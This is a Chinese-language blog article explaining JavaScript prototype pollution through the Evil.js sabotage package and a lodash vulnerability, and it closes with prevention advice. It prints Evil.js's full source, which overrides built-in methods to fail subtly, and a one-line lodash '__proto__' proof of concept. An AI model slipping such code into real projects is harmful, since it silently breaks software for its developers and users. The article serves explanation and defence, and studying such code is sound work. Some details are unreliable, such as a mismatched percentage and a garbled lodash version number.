當前位置: 妍妍網 > 碼農

遭了!JavaScript 程式碼被投毒了

2024-06-18碼農

不知大家是否還記得兩年前 Github 出現的一個名為 Evil.js 的計畫,其號稱專治 996 公司,實際就是給前端計畫「 投毒 」。本文就來聊一聊這個計畫背後的故事: 原型汙染

原型汙染是一種很少被關註但潛在風險嚴重的安全漏洞,它影響基於原型的程式語言,例如 JavaScript。這種漏洞 透過篡改物件的原型鏈,從而影響所有基於該原型的物件

基於原型的編程範式

在深入探討原型汙染之前,先來回顧一下 JavaScript基於原型的編程範式。

JavaScript 的原型機制是其物件導向編程模型的核心,它允許物件透過原型鏈來繼承內容和方法。在 JavaScript 中,每個物件都有一個與之關聯的原型物件,當試圖存取一個物件的內容或方法時,如果該物件本身沒有該內容,JavaScript 就會尋找該物件的原型物件,看原型物件是否有這個內容。這個過程會一直持續到原型鏈的末端,即 Object.prototype

建構函式是用於建立和初始化新物件的特殊函式。當使用 new 關鍵字呼叫建構函式時,會建立一個新物件,並將該物件的原型設定為建構函式的 prototype 內容所指向的物件。每個函式都有一個 prototype 內容,這個內容是一個物件,包含了可以由特定型別的所有例項共享的內容和方法。

在 ES6 之前,通常使用非標準的 __proto__ 內容來存取或修改一個物件的原型(盡管許多瀏覽器都支持它,但它不是 ECMAScript 標準的一部份)。然而,更推薦的做法是使用 Object.getPrototypeOf() Object.setPrototypeOf() 方法來存取和修改物件的原型。

雖然 ES6 引入了 class extends 關鍵字,這兩個關鍵字提供了一種更接近於傳統類繼承的語法糖,但實際上它們仍然是基於原型鏈的。

下面來看一個栗子:

// 定義一個建構函式
functionCar(brand, color){
this.brand = brand;
this.color = color;
}
// 在 Car 的原型上添加一個方法
Car.prototype.drive=function(){
return"The "+this.brand +" "+this.color +" car is driving away.";
};
// 建立一個 Car 的例項
let redCar =newCar("BMW","red");
// 存取例項的內容
console.log(redCar.brand);// 輸出 "BMW"
console.log(redCar.color);// 輸出 "red"
// 呼叫例項繼承自原型的方法
console.log(redCar.drive());// 輸出 "The BMW red car is driving away."
// 建立一個繼承自 Car 的新建構函式
functionElectricCar(brand, color, batteryRange){
// 呼叫 Car 的建構函式,繼承其內容
Car.call(this, brand, color);
this.batteryRange = batteryRange;
}
// 設定 ElectricCar 的原型為 Car 的例項,從而繼承 Car 的方法
ElectricCar.prototype =Object.create(Car.prototype);
ElectricCar.prototype.constructor = ElectricCar;
// 添加 ElectricCar 特有的方法
ElectricCar.prototype.recharge=function(){
return"The "+this.brand +" is recharging.";
};
// 建立一個 ElectricCar 的例項
let tesla =newElectricCar("Tesla","blue",300);
// 存取繼承的內容和方法
console.log(tesla.brand);// 輸出 "Tesla"
console.log(tesla.drive());// 輸出 "The Tesla blue car is driving away."
// 存取 ElectricCar 特有的方法
console.log(tesla.recharge());// 輸出 "The Tesla is recharging."

在這個例子中定義了一個 Car 建構函式和一個 ElectricCar 建構函式。 ElectricCar 透過將其原型設定為 Car 的一個例項來繼承 Car 的內容和方法。我們還為 ElectricCar 添加了一個特有的方法 recharge 。這樣, ElectricCar 的例項 tesla 就可以存取繼承自 Car 的內容和方法,以及 ElectricCar 特有的方法。

原型汙染

原型汙染發生在攻擊者能夠修改 JavaScript 物件原型時。由於JavaScript的原型鏈機制,如果攻擊者能夠操縱或覆蓋某些原型物件的內容或方法,那麽這種修改將會影響到所有繼承自該原型的物件。這可能導致套用的行為異常,甚至被攻擊者利用來執行惡意程式碼或竊取敏感數據。

原型汙染通常發生在以下情況:

  • 套用沒有正確驗證或過濾使用者輸入,導致惡意程式碼被插入到物件的原型中。

  • 使用了不安全的第三方庫或框架,這些庫或框架可能允許原型被意外修改。

  • 下面來了解兩個原型汙染的實際例子。

    Evil.js

    2022年某一天,好多前端群都在瘋傳一個名為 Evil.js 的開源計畫,看了一眼,好家夥,不簡單啊:

    由於這個庫傳播比較廣泛,作者緊急刪除了釋出在 npm 的包,並釋出了聲明(保命):

    聲明:本包的作者不參與註入,因引入本包造成的損失本包作者概不負責。

    故事到這裏就結束了。那作者是怎麽實作的呢?了解原型的小夥伴第一個想到的應該就是作者修改了這些 JavaScript 內建物件的原型。為了驗證想法,我們來看看源碼:

    (global =>{
    /**
    * If the array size is devidable by 7, this function aways fail
    * @zh 當陣列長度可以被7整除時,本方法永遠返回false
    */
    const _includes =Array.prototype.includes;
    Array.prototype.includes=function(...args){
    if(this.length %7!==0){
    return _includes.call(this,...args);
    }else{
    returnfalse;
    }
    };
    /**
    * Array.map will always be missing the last element on Sundays
    * @zh 當周日時,Array.map方法的結果總是會遺失最後一個元素
    */
    const _map =Array.prototype.map;
    Array.prototype.map=function(...args){
    result = _map.call(this,...args);
    if(newDate().getDay()===0){
    result.length =Math.max(result.length -1,0);
    }
    return result;
    }
    /**
    * Array.fillter has 10% chance to lose the final element
    * @zh Array.filter的結果有2%的機率遺失最後一個元素
    */
    const _filter =Array.prototype.filter;
    Array.prototype.filter=function(...args){
    result = _filter.call(this,...args);
    if(Math.random()<0.02){
    result.length =Math.max(result.length -1,0);
    }
    return result;
    }
    /**
    * setTimeout will alway trigger 1s later than expected
    * @zh setTimeout總是會比預期時間慢1秒才觸發
    */
    const _timeout = global.setTimeout;
    global.setTimeout=function(handler, timeout,...args){
    return _timeout.call(global, handler,+timeout +1000,...args);
    }
    /**
    * Promise.then has a 10% chance will not register on Sundays
    * @zh Promise.then 在周日時有10%機率不會註冊
    */
    const _then =Promise.prototype.then;
    Promise.prototype.then=function(...args){
    if(newDate().getDay()===0&&Math.random()<0.1){
    return;
    }else{
    _then.call(this,...args);
    }
    }
    /**
    * JSON.stringify will replace 'I' into 'l'
    * @zh JSON.stringify 會把'I'變成'l'
    */
    const _stringify =JSON.stringify;
    JSON.stringify=function(...args){
    return_stringify(...args).replace(/I/g,'l');
    }
    /**
    * Date.getTime() always gives the result 1 hour slower
    * @zh Date.getTime() 的結果總是會慢一個小時
    */
    const _getTime =Date.prototype.getTime;
    Date.prototype.getTime=function(...args){
    let result = _getTime.call(this);
    result -=3600*1000;
    return result;
    }
    /**
    * localStorage.getItem has 5% chance return empty string
    * @zh localStorage.getItem 有5%機率返回空字串
    */
    const _getItem = global.localStorage.getItem;
    global.localStorage.getItem=function(...args){
    let result = _getItem.call(global.localStorage,...args);
    if(Math.random()<0.05){
    result ='';
    }
    return result;
    }
    })((0,eval('this')));

    果然,只要原本是在原型上定義的方法,修改方式都是修改原型。那麽,只要這段程式碼安裝/插入到前端計畫中,就會汙染部份 JavaScript 的原型,那麽在使用這些原型上的方法時,就會有一定機率出現上面所說的異常情況,這就是原型汙染。

    lodash

    下面再來看一下之前 Lodash 被原型汙染的故事,存在問題的版本為 4.17.15。

    在 lodash 的 4.17.15 版本中,存在一個原型汙染的漏洞。這個漏洞允許攻擊者透過特定的函式(如 merge mergeWith defaultsDeep zipObjectDeep )來註入或修改 Object.prototype 的內容。由於這些內容會被添加到所有物件的原型鏈上,因此它們將影響所有在 JavaScript 環境中建立的物件。

    比如,利用 Lodash 的 zipObjectDeep 函式,攻擊者可以建立一個物件,並透過特定的鍵(如 __proto__ )來汙染原型鏈。

    import _ from'lodash';
    _.zipObjectDeep(['__proto__.z'],[123]);
    console.log(z);// 輸出 123

    漏洞影響:

  • 伺服器崩潰 :如果攻擊者註入了惡意程式碼或大量數據到原型鏈中,它可能會導致伺服器崩潰或變得無法響應所有請求。

  • 遠端程式碼執行 :在某些情況下,攻擊者可能能夠透過註入特定函式或物件來實作遠端程式碼執行。

  • 預防原型汙染

    要防止原型汙染,可以遵循以下幾個步驟和策略:

  • 了解原型汙染的原因

  • 原型汙染的根本原因在於JavaScript的原型鏈繼承機制,使得攻擊者有可能透過修改物件的原型來影響所有基於該原型建立的例項。

  • 惡意程式碼的註入,如使用者輸入或第三方API,如果沒有被妥善地校驗和清洗,就可能導致原型汙染。

  • 使用安全編程實踐

  • 避免直接修改全域物件的原型 :盡量使用其他方式擴充套件功能,而不是直接修改原型。

  • 使用物件的淺拷貝或深拷貝 :在建立新的物件時,使用淺拷貝或深拷貝,而不是直接修改原型。

  • 避免在第三方庫上修改原型 :防止對其他模組產生意外影響。

  • 使用嚴格模式("use strict") :這有助於捕獲一些潛在的原型鏈汙染問題。

  • 驗證和清理輸入數據

  • 確保所有的輸入數據都經過嚴格的驗證,以防惡意數據造成原型汙染。

  • 對於不可信的數據,實施一系列的驗證措施,包括數據型別、格式、長度等的檢查。

  • 使用凍結物件

  • 使用 Object.freeze() 來凍結物件,使其無法被修改。這可以防止攻擊者透過修改凍結物件的原型來造成汙染。

  • 使用替代數據結構

  • 在某些情況下,可以使用 Map 代替普通的JavaScript物件來儲存鍵值對。因為Map不會受到原型汙染的影響。

  • 更新和維護第三方庫

  • 保持所使用的第三方庫(如lodash等)為最新版本,以利用其中的安全修復。

  • 特別是針對已知存在原型汙染問題的庫(如 lodash 4.7.12 之前版本、jQuery 3.4.0之前版本),應盡快更新到修復了該問題的版本。